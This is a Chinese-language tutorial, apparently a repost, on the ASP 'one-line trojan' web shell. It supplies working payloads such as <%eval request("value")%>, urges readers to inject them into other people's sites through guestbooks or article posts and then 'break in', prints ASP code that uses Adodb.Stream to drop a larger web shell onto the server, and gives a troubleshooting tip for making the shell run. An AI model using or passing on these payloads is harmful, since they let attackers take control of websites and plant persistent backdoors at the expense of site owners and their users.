一句话木马

来源:互联网 发布:c语言传值和传址 编辑:程序博客网 时间:2024/04/30 03:45

  黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:

  <%execute request("value")%>

  <%eval request("value")%>(现在比较多见的,而且字符少,对表单字数有限制的地方特别的实用)

  当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。(不知道数据库也可以,只要知道<%eval request("value")%>这个文件被插入到哪一个ASP文件里面就可以了。)

  这就被称为一句话木马,它是基于B/S结构的。

 

  首先,找到数据库是asp格式的网站,然后,以留言板,或者发表文章的方式,把一句话添加到asp数据库

  或者加进asp网页.

   记住!我们的目的是把一句话<%execute request("value")%>添加到数据库,无论任何方式!

  然后打开客户端(就是你电脑上面的那个htm文件),填上加入了一句话的asp文件,或者是asp网页,然后杀进去!,这就可以干你想干的事情了!(作者:蚊虫)

  

一句话木马原理


  首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form('#')+''这句代码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名 为#的部分,例如如下摘自一句话客户端的代码:

  <textarea name=# cols="80" rows="10">

  set iP=server.createObject("Adodb.Stream")

  iP.Open

  iP.Type=2

  iP.CharSet="gb2312"

  iP.writetext request("aoyun")

  iP.SaveToFile server.mappath("aoyunwan.asp"),2

  iP.Close

  set iP=nothing

  response.redirect "aoyunwan.asp"

  </textarea>

  学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:

  set iP=server.createObject("Adodb.Stream")

  iP.Open

  iP.Type=2

  iP.CharSet="gb2312"

  iP.writetext request("aoyun")

  iP.SaveToFile server.mappath("aoyunwan.asp"),2

  iP.Close

  set iP=nothing

  response.redirect "aoyunwan.asp"

  学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用对象中的writetext方法将 request("aoyun")读取过来的内容(就是我们常见的一句话客户端的第二个textarea域中的内容,也就是我们的大马的代码)写入服务端 的 aoyunwan.asp

  文件中,写入结束后使用set iP=nothing 释放对方 然后使用response.redirect "aoyunwan.asp" 转向写入的文件,就是我们最后见的大马了!

  

关于服务器错误


  经常,当我们在一个asp文件内添加了一句话后,就会出现类型不匹配的错误:

  Script error detected at line 1.

  Source line: execute request("nettoo")

  Description: 类型不匹配: 'execute'

  这个如何解决呢?

  想出了一个好办法,只要用"eval"替换掉"execute"服务端,就不会出错了!

原创粉丝点击